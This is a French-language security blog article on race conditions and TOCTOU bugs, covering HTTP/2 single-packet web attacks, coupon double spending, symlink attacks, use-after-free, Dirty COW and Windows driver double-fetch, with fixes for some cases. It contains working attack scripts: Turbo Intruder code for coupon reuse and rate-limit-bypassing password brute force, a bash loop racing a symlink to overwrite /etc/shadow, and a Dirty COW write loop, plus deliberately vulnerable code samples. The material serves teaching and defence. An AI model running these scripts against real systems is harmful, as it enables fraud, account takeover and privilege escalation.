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Techniques de Hacking / Race Conditions

Race Conditions et TOCTOU : Exploitation des Bugs de Concurrence

Par Ayi NEDJIMI•28 février 2026•Lecture : 50 min
#RaceCondition#TOCTOU#Concurrency#DoubleSpending#TurboIntruder

Auteur : Ayi NEDJIMI    Date : 28 février 2026

Introduction

Les conditions de concurrence (race conditions) constituent une classe de vulnérabilités fondamentale en sécurité informatique, exploitant les failles temporelles dans les systèmes exécutant des opérations de manière concurrente. Contrairement aux vulnérabilités classiques (injection, overflow) qui exploitent des défauts logiques statiques, les race conditions exploitent le timing entre des opérations qui ne sont pas correctement synchronisées. Le résultat d'une race condition dépend de l'ordre d'exécution relatif des opérations concurrentes, le rendant non-déterministe et particulièrement difficile à reproduire et à débugger.

Le pattern le plus emblématique est le TOCTOU (Time-of-Check to Time-of-Use) : un programme vérifie une condition (check), puis agit en fonction du résultat (use), mais entre ces deux étapes, l'état du système est modifié par un autre thread, processus ou requête. Ce pattern apparaît dans tous les contextes d'exécution : applications web (double spending, limit bypass), systèmes de fichiers (symlink attacks), programmes multi-threadés (Use-After-Free, double-free) et même dans le noyau du système d'exploitation.

Les recherches de James Kettle (PortSwigger) sur les "single-packet attacks" publiées en 2023 ont révolutionné l'exploitation des race conditions web en démontrant qu'il est possible d'envoyer des dizaines de requêtes HTTP/2 dans un seul paquet TCP, éliminant la variabilité du réseau et rendant les race conditions web exploitables de manière fiable. Cet article examine en profondeur ces techniques, des applications web aux vulnérabilités kernel, en passant par les outils d'exploitation et les stratégies de prévention.

Race Conditions Web : Limit Bypass et Double Spending

Single-packet attack (HTTP/2)

La technique single-packet attack, développée par James Kettle, exploite le multiplexage HTTP/2 pour envoyer plusieurs requêtes dans un seul paquet TCP. Contrairement aux attaques de race condition traditionnelles qui envoyaient des requêtes en parallèle (soumises aux variations de latence réseau), cette technique garantit que toutes les requêtes arrivent au serveur simultanément, car elles sont contenues dans le même segment TCP. Le serveur les traite alors de manière véritablement concurrente.

# Turbo Intruder (extension Burp Suite) - single-packet attack
# Script Python pour l'exploitation de race condition

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)  # HTTP/2

    # Préparer 20 requêtes identiques (ex: utilisation d'un code promo)
    for i in range(20):
        engine.queue(target.req, gate='race')

    # Ouvrir la gate : toutes les requêtes sont envoyées
    # dans un seul paquet TCP (single-packet attack)
    engine.openGate('race')

def handleResponse(req, interesting):
    table.add(req)

Double spending et coupon abuse

Le double spending est l'exploitation la plus directe des race conditions web. Le scénario typique concerne l'utilisation d'un code promotionnel, d'un crédit unique ou d'un bon d'achat. Le serveur vérifie si le code a déjà été utilisé (CHECK), puis l'applique et le marque comme utilisé (USE). Si plusieurs requêtes d'utilisation du même code arrivent avant que le premier traitement ne marque le code comme utilisé, toutes les requêtes passent la vérification et le code est appliqué plusieurs fois.

# Code vulnérable (Python/Flask) - Race condition sur coupon
@app.route('/apply-coupon', methods=['POST'])
def apply_coupon():
    coupon_code = request.form['code']
    user_id = session['user_id']

    # CHECK : Le coupon est-il valide et non utilisé ?
    coupon = db.query("SELECT * FROM coupons WHERE code = %s AND used = FALSE",
                      (coupon_code,))

    if not coupon:
        return "Coupon invalide ou déjà utilisé", 400

    # FENÊTRE DE RACE CONDITION ICI
    # Entre le CHECK et le USE, d'autres requêtes peuvent passer le CHECK

    # USE : Appliquer la réduction et marquer le coupon
    discount = coupon.discount_amount
    db.execute("UPDATE orders SET total = total - %s WHERE user_id = %s",
               (discount, user_id))
    db.execute("UPDATE coupons SET used = TRUE WHERE code = %s",
               (coupon_code,))

    return f"Réduction de {discount}EUR appliquée !"

# CORRECTIF : Utiliser SELECT ... FOR UPDATE (verrouillage)
@app.route('/apply-coupon-safe', methods=['POST'])
def apply_coupon_safe():
    coupon_code = request.form['code']
    user_id = session['user_id']

    with db.transaction():
        # SELECT FOR UPDATE acquiert un verrou exclusif sur la ligne
        coupon = db.query(
            "SELECT * FROM coupons WHERE code = %s AND used = FALSE FOR UPDATE",
            (coupon_code,))

        if not coupon:
            return "Coupon invalide ou déjà utilisé", 400

        # Le verrou garantit qu'aucune autre transaction ne peut lire/modifier
        # la ligne tant que cette transaction n'est pas terminée
        db.execute("UPDATE orders SET total = total - %s WHERE user_id = %s",
                   (coupon.discount_amount, user_id))
        db.execute("UPDATE coupons SET used = TRUE WHERE code = %s",
                   (coupon_code,))

    return f"Réduction appliquée !"

Limit bypass (rate limiting, vote manipulation)

Les race conditions permettent de contourner diverses limites applicatives :

TOCTOU Filesystem

Symlink attacks classiques

Les attaques TOCTOU sur le système de fichiers exploitent le délai entre la vérification d'un fichier (existence, permissions, type) et son utilisation (ouverture, lecture, écriture). L'attaque par lien symbolique (symlink attack) est le pattern TOCTOU filesystem le plus classique :

/* Programme vulnérable (setuid root) */
int main(int argc, char *argv[]) {
    char *filename = argv[1];

    /* CHECK : Vérifier que le fichier appartient à l'utilisateur */
    struct stat st;
    if (lstat(filename, &st) != 0) return 1;
    if (st.st_uid != getuid()) {
        printf("Permission denied\n");
        return 1;
    }

    /* FENÊTRE DE RACE CONDITION */
    /* L'attaquant remplace le fichier par un symlink vers /etc/shadow */
    /* ln -sf /etc/shadow /tmp/userfile */

    /* USE : Ouvrir et écrire dans le fichier */
    /* Le programme suit le symlink car il utilise open() et non lstat() */
    int fd = open(filename, O_WRONLY);
    write(fd, "attacker data\n", 14);
    close(fd);

    return 0;
}
# Script d'exploitation de la race condition TOCTOU
#!/bin/bash
# Exploitation en boucle (la race est probabiliste)

TARGET="/tmp/userfile"
SYMLINK_TARGET="/etc/shadow"

# Créer un fichier légitime appartenant à l'attaquant
touch $TARGET

# Lancer l'exploitation en boucle
while true; do
    # Alterner entre fichier légitime et symlink
    rm -f $TARGET && touch $TARGET &
    rm -f $TARGET && ln -s $SYMLINK_TARGET $TARGET &

    # Exécuter le programme vulnérable (setuid)
    /usr/local/bin/vulnerable_program $TARGET

    # Vérifier si l'attaque a réussi
    if grep -q "attacker data" $SYMLINK_TARGET 2>/dev/null; then
        echo "[+] Race condition exploitée ! /etc/shadow modifié"
        break
    fi
done

Prévention des TOCTOU filesystem

Multi-threaded UAF (Use-After-Free)

Race conditions dans les programmes multi-threadés

Dans les programmes multi-threadés, les race conditions surviennent lorsque plusieurs threads accèdent simultanément à une ressource partagée sans synchronisation adéquate. Le Use-After-Free (UAF) est une manifestation particulièrement dangereuse : un thread libère (free) un objet en mémoire tandis qu'un autre thread continue de l'utiliser (use), provoquant un accès à de la mémoire désallouée qui peut avoir été réallouée pour contenir d'autres données.

/* Race condition menant à un UAF */
struct Connection {
    int socket_fd;
    char *buffer;
    size_t buffer_size;
    void (*handler)(struct Connection *);
};

/* Thread 1 : Traitement de la connexion */
void *process_connection(void *arg) {
    struct Connection *conn = (struct Connection *)arg;

    /* Utilisation de la connexion */
    conn->handler(conn);           // USE
    send(conn->socket_fd, conn->buffer, conn->buffer_size, 0);

    return NULL;
}

/* Thread 2 : Timeout handler - ferme les connexions inactives */
void *timeout_handler(void *arg) {
    struct Connection *conn = (struct Connection *)arg;

    sleep(30);
    /* Libération de la connexion */
    close(conn->socket_fd);
    free(conn->buffer);            // FREE
    free(conn);                     // FREE - mais Thread 1 utilise encore conn !

    return NULL;
}

/* Si Thread 2 libère conn pendant que Thread 1 l'utilise :
 * - conn->handler pointe vers de la mémoire libérée
 * - Si la mémoire est réallouée, conn->handler peut pointer
 *   vers des données contrôlées par l'attaquant
 * - Appel de conn->handler() = exécution de code arbitraire */

Double-free et data corruption

Le double-free se produit lorsque deux threads tentent de libérer le même bloc mémoire. Cela corrompt les métadonnées de l'allocateur (malloc/free), pouvant mener à un arbitrary write lors d'une allocation subséquente. Sur les allocateurs modernes (glibc malloc, jemalloc, tcmalloc), des mitigations détectent les double-free simples, mais les race conditions rendent la détection plus difficile car la corruption se produit de manière non-déterministe.

Les data races sur des compteurs de référence (reference counting) sont un vecteur courant de UAF et double-free. Si l'incrémentation/décrémentation du refcount n'utilise pas d'opérations atomiques, deux threads peuvent simultanément lire la même valeur du compteur, la décrémenter, et croire que l'objet doit être libéré, résultant en un double-free.

Outils : Turbo Intruder et Race the Web

Turbo Intruder (Burp Suite)

Turbo Intruder est une extension Burp Suite développée par James Kettle (PortSwigger) spécialement conçue pour l'exploitation de race conditions web. Ses caractéristiques clés incluent : le support HTTP/2 avec single-packet attack, un moteur de requêtes asynchrone capable d'envoyer des milliers de requêtes par seconde, un système de "gates" pour synchroniser l'envoi de requêtes, et un scripting Python flexible pour les scénarios d'exploitation complexes.

# Turbo Intruder : Exploitation de rate limit bypass
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Charger la liste de mots de passe
    passwords = open('/usr/share/wordlists/passwords.txt').readlines()

    # Envoyer par lots de 20 (single-packet)
    for batch_start in range(0, len(passwords), 20):
        batch = passwords[batch_start:batch_start+20]
        for password in batch:
            # Modifier le mot de passe dans la requête
            modified_req = target.req.replace('PASSWORD_PLACEHOLDER',
                                              password.strip())
            engine.queue(modified_req, gate=str(batch_start))

        # Envoyer tout le lot simultanément
        engine.openGate(str(batch_start))
        time.sleep(1)  # Attendre le reset du rate limit

def handleResponse(req, interesting):
    if '302' in req.response or 'Welcome' in req.response:
        table.add(req)  # Mot de passe trouvé !

Autres outils spécialisés

Kernel Race Conditions

Race conditions dans le noyau Linux

Le noyau Linux, étant un programme massivement concurrent (multi-CPU, préemption, interruptions), est particulièrement susceptible aux race conditions. Les vecteurs d'exploitation incluent les syscalls concurrents depuis le user-space, les accès concurrents aux structures noyau partagées, et les interruptions qui préemptent des sections critiques incomplètement protégées.

CVE-2016-5195 (Dirty COW) est l'exemple le plus célèbre de race condition kernel exploitée dans la nature. Elle exploite une race condition entre la gestion de la mémoire Copy-on-Write (COW) et la pagination. En déclenchant simultanément une écriture dans une zone COW et une invalidation de la page, l'attaquant peut écrire dans des fichiers en lecture seule (comme /etc/passwd), obtenant une escalade de privilèges.

/* Dirty COW (CVE-2016-5195) - Concept simplifié */
/* Thread 1 : Écriture dans la mémoire mappée */
void *writer_thread(void *arg) {
    while (1) {
        /* write() dans /proc/self/mem à l'offset du mapping */
        lseek(proc_mem_fd, (off_t)map_addr, SEEK_SET);
        write(proc_mem_fd, payload, payload_len);
    }
}

/* Thread 2 : Déclenchement du COW via madvise */
void *madvise_thread(void *arg) {
    while (1) {
        /* madvise(MADV_DONTNEED) invalide la page */
        /* Force le noyau à refaire le COW */
        madvise(map_addr, page_size, MADV_DONTNEED);
    }
}

/* La race : Thread 1 écrit dans la copie COW privée,
 * mais Thread 2 invalide la page entre la vérification COW
 * et l'écriture effective, causant l'écriture dans le
 * mapping original (fichier en lecture seule) */

Race conditions dans les drivers Windows

Les drivers Windows sont également vulnérables aux race conditions, notamment dans les handlers IOCTL qui accèdent à des buffers user-mode. Le pattern courant est le double-fetch : le driver lit une valeur depuis un buffer user-mode (pour la validation), puis la relit plus tard (pour l'utilisation). Entre les deux lectures, l'utilisateur peut modifier le buffer depuis un autre thread, contournant la validation.

/* Double-fetch vulnerability dans un driver Windows */
NTSTATUS DeviceIoControl(PIRP Irp) {
    PUSER_BUFFER userBuf = Irp->AssociatedIrp.SystemBuffer;

    /* Premier accès (CHECK) : Valider la taille */
    if (userBuf->Size > MAX_SIZE) {     // Lecture 1
        return STATUS_INVALID_PARAMETER;
    }

    /* FENÊTRE DE RACE : Thread 2 modifie userBuf->Size */

    /* Deuxième accès (USE) : Copier les données */
    RtlCopyMemory(kernelBuf, userBuf->Data,
                  userBuf->Size);         // Lecture 2 : Size peut être > MAX_SIZE !
    /* Buffer overflow dans kernelBuf ! */
}

Prévention et Détection

Prévention des race conditions web

Prévention dans le code natif

Détection automatisée

Stratégie de test pour les race conditions web

Pour tester systématiquement les race conditions dans une application web : (1) identifier toutes les opérations avec des effets de bord (mutations d'état), (2) pour chaque opération, envoyer N requêtes identiques simultanément via Turbo Intruder (single-packet), (3) vérifier si l'opération a été exécutée plus d'une fois (ex: crédit appliqué N fois, vote compté N fois), (4) documenter les fenêtres de race et les correctifs nécessaires (verrouillage, opérations atomiques, idempotency keys).

Conclusion

Les race conditions constituent une classe de vulnérabilités à la fois omniprésente et sous-estimée. Leur nature non-déterministe les rend difficiles à détecter lors des tests conventionnels, mais les techniques modernes d'exploitation — notamment la single-packet attack via HTTP/2 — les rendent désormais fiablement exploitables dans les applications web. Du double spending sur les plateformes e-commerce aux Use-After-Free dans les programmes natifs, en passant par les Dirty COW au niveau kernel, les race conditions traversent tous les niveaux de la pile logicielle.

La prévention repose sur des principes fondamentaux de programmation concurrente :

Ressources et références

Ayi NEDJIMI

Ayi NEDJIMI

Expert en Cybersécurité & Intelligence Artificielle

Consultant senior avec plus de 15 ans d'expérience en sécurité offensive, audit d'infrastructure et développement de solutions IA. Certifié OSCP, CISSP, ISO 27001 Lead Auditor et ISO 42001 Lead Implementer. Intervient sur des missions de pentest Active Directory, sécurité Cloud et conformité réglementaire pour des grands comptes et ETI.

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Références et ressources externes

  • OWASP Testing Guide — Guide de référence pour les tests de sécurité web
  • CWE-367 — Time-of-check Time-of-use (TOCTOU) Race Condition
  • PortSwigger Academy — Ressources d'apprentissage en sécurité web
  • CWE — Common Weakness Enumeration — catalogue de faiblesses logicielles
  • NVD — National Vulnerability Database — base de vulnérabilités du NIST
Ayi NEDJIMI

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